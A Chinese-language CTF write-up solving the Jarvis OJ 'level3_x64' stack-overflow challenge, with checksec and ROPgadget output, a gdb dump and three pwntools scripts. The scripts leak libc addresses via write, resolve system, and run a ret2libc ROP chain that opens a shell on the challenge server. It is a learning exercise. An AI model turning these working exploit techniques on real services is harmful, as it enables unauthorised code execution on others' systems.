Jarvis OJ [XMAN]level3(x64)

liu@liu-F117-F:~/桌面/oj/level3_x64$ checksec level3_x64
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level3_x64/level3_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

只开启了NX保护。
没有system函数也没有/bin/sh字符串。

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  write(1, "Input:\n", 7uLL);
  return read(0, &buf, 0x200uLL);
}

栈溢出漏洞
可以用write函数来泄露
查看rop

liu@liu-F117-F:~/桌面/oj/level3_x64$ ROPgadget --binary level3_x64 --only "mov|pop|ret"
Gadgets information
============================================================
0x00000000004005b3 : mov byte ptr [rip + 0x2004ce], 1 ; ret
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004005b2 : pop rbp ; mov byte ptr [rip + 0x2004ce], 1 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret

Unique gadgets found: 13

很不幸,没有我们需要的3个寄存器rdi, rsi, rdx。
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
如果这个运行到这里的时候程序rdx有大于8的值就直接不用赋值了。先看一下如果是否成立

RAX: 0x3 
RBX: 0x0 
RCX: 0x7ffff78f0081 (<__GI___libc_read+17>: cmp    rax,0xfffffffffffff000)
RDX: 0x200 
RSI: 0x7fffffffdd20 --> 0xff0a6473 
RDI: 0x0 
RBP: 0x7fffffffdda0 --> 0x7fffffffddc0 --> 0x400650 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffdd20 --> 0xff0a6473 
RIP: 0x400618 (<vulnerable_function+50>:    leave)
R8 : 0x7ffff7bccd80 --> 0x0 
R9 : 0x7ffff7bccd80 --> 0x0 
R10: 0x4 
R11: 0x246 
R12: 0x4004f0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffdea0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40060b <vulnerable_function+37>:   mov    rsi,rax
   0x40060e <vulnerable_function+40>:   mov    edi,0x0
   0x400613 <vulnerable_function+45>:   call   0x4004c0 <read@plt>
=> 0x400618 <vulnerable_function+50>:   leave  
   0x400619 <vulnerable_function+51>:   ret    
   0x40061a <main>: push   rbp
   0x40061b <main+1>:   mov    rbp,rsp
   0x40061e <main+4>:   sub    rsp,0x10
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd20 --> 0xff0a6473 
0008| 0x7fffffffdd28 --> 0x0 
0016| 0x7fffffffdd30 --> 0x7ffff7ffa268 (add    BYTE PTR ss:[rax],al)
0024| 0x7fffffffdd38 --> 0x7ffff7ffe710 --> 0x7ffff7ffa000 (jg     0x7ffff7ffa047)
0032| 0x7fffffffdd40 --> 0x0 
0040| 0x7fffffffdd48 --> 0x0 
0048| 0x7fffffffdd50 --> 0x0 
0056| 0x7fffffffdd58 --> 0x756e6547 ('Genu')

事实证明,这个时候的rdx是0x200完全够了。

from pwn import *
#context.log_level="debug"
elf=ELF("level3_x64")

write_plt=elf.plt["write"]
write_got=elf.got["write"]
prdi_ret=0x00000000004006b3
prsi_p_ret=0x00000000004006b1
main_addr=0x000000000040061A

def leak(address):
    #p.recv()
    p.recvuntil("Input:\n")
    payload="A"*0x80+"A"*8+p64(prdi_ret)+p64(1)+p64(prsi_p_ret)+p64(address)+p64(0)+p64(write_plt)+p64(main_addr)
    p.sendline(payload)
    data=p.recv(8)
    print hex(u64(data))
    #print "%#x=>%"%(address,(data or '').encode('hex'))
    return data

p=process("level3_x64")
#p=remote("pwn2.jarvisoj.com",9883)

d=DynELF(leak,elf=ELF("level3_x64"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)

这里用dynelf直接获取到了。
这种方法是获取不到libc库的,直接获取到了system函数的加载地址。没有/bin/sh 字符串。需要用bss段跳转。如果直接用read函数从键盘上读入数据写入到bss段还是需要3个寄存器,实现不了。那就不用write可以换成gets函数来实现写入数据。

from pwn import *
#context.log_level="debug"
elf=ELF("level3_x64")

write_plt=elf.plt["write"]
write_got=elf.got["write"]
prdi_ret=0x00000000004006b3
prsi_p_ret=0x00000000004006b1
main_addr=0x000000000040061A

def leak(address):
    #p.recv()
    p.recvuntil("Input:\n")
    payload="A"*0x80+"A"*8+p64(prdi_ret)+p64(1)+p64(prsi_p_ret)+p64(address)+p64(0)+p64(write_plt)+p64(main_addr)
    p.sendline(payload)
    data=p.recv(8)
    print hex(u64(data))
    #print "%#x=>%"%(address,(data or '').encode('hex'))
    return data

p=process("level3_x64")
#p=remote("pwn2.jarvisoj.com",9883)

d=DynELF(leak,elf=ELF("level3_x64"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)
#raw_input()
gets_addr=d.lookup('gets','libc')
print "gets_addr"+hex(gets_addr)

bss_addr=0x0000000000600a88

#raw_input()
p.recvuntil("Input:")
payload="A"*0x80+"A"*8+p64(prdi_ret)+p64(bss_addr)+p64(gets_addr)
payload+=p64(prdi_ret)+p64(bss_addr)+p64(system_addr)+p64(0x77777777)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

但是不知道原因,能调用system函数,并且调用的时候rdi寄存器的值还是/bin/sh。好像是因为之前泄露的东西太多了,不知道泄露到哪了。大范围泄露这种尽量少执行,我们也不知道程序会出现什么样的错误。

换一种方式,泄露函数加载位置,获取偏移来查询libc版本https://libc.blukat.me/?q=read%3A0x7fa37a92d6a0%2Cwrite%3A0x7fa37a92d700&l=libc6-amd64_2.13-20ubuntu5.2_i386

from pwn import *
#context.log_level="debug"
elf=ELF("level3_x64")

write_plt=elf.plt["write"]
write_got=elf.got["write"]
prdi_ret=0x00000000004006b3
prsi_p_ret=0x00000000004006b1
main_addr=0x000000000040061A

#p=process("./level3_x64")
p=remote("pwn2.jarvisoj.com",9883)
p.recvuntil("Input:\n")
payload="A"*0x88+p64(prdi_ret)+p64(1)+p64(prsi_p_ret)+p64(elf.got["write"])+p64(77777777)+p64(elf.plt["write"])+p64(main_addr)
p.sendline(payload)
write_addr=u64(p.recv(8))
print "write_addr="+hex(write_addr)
#leak write_got

# p.recvuntil("Input:\n")
# payload="A"*0x88+p64(prdi_ret)+p64(1)+p64(prsi_p_ret)+p64(elf.got["read"])+p64(77777777)+p64(elf.plt["write"])+p64(main_addr)
# p.sendline(payload)
# read_addr=u64(p.recv(8))
# print "read_addr="+hex(read_addr)
# ###leak read_addr

#libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")#local
libc=ELF("./libc-2.19.so")

system_addr=write_addr-libc.symbols["write"]+libc.symbols["system"]
bin_sh_addr=write_addr-libc.symbols["write"]+next(libc.search("/bin/sh"))
p.recvuntil("Input:\n")
payload="A"*0x88+p64(prdi_ret)+p64(bin_sh_addr)+p64(system_addr)+p64(0x77777777)
p.sendline(payload)


p.interactive()

这里远程连接查到的libc库不能用,不知道原因,还好给出了libc库,直接加载题目给出的库吧

你可能感兴趣的:(溢出攻击,栈溢出X64)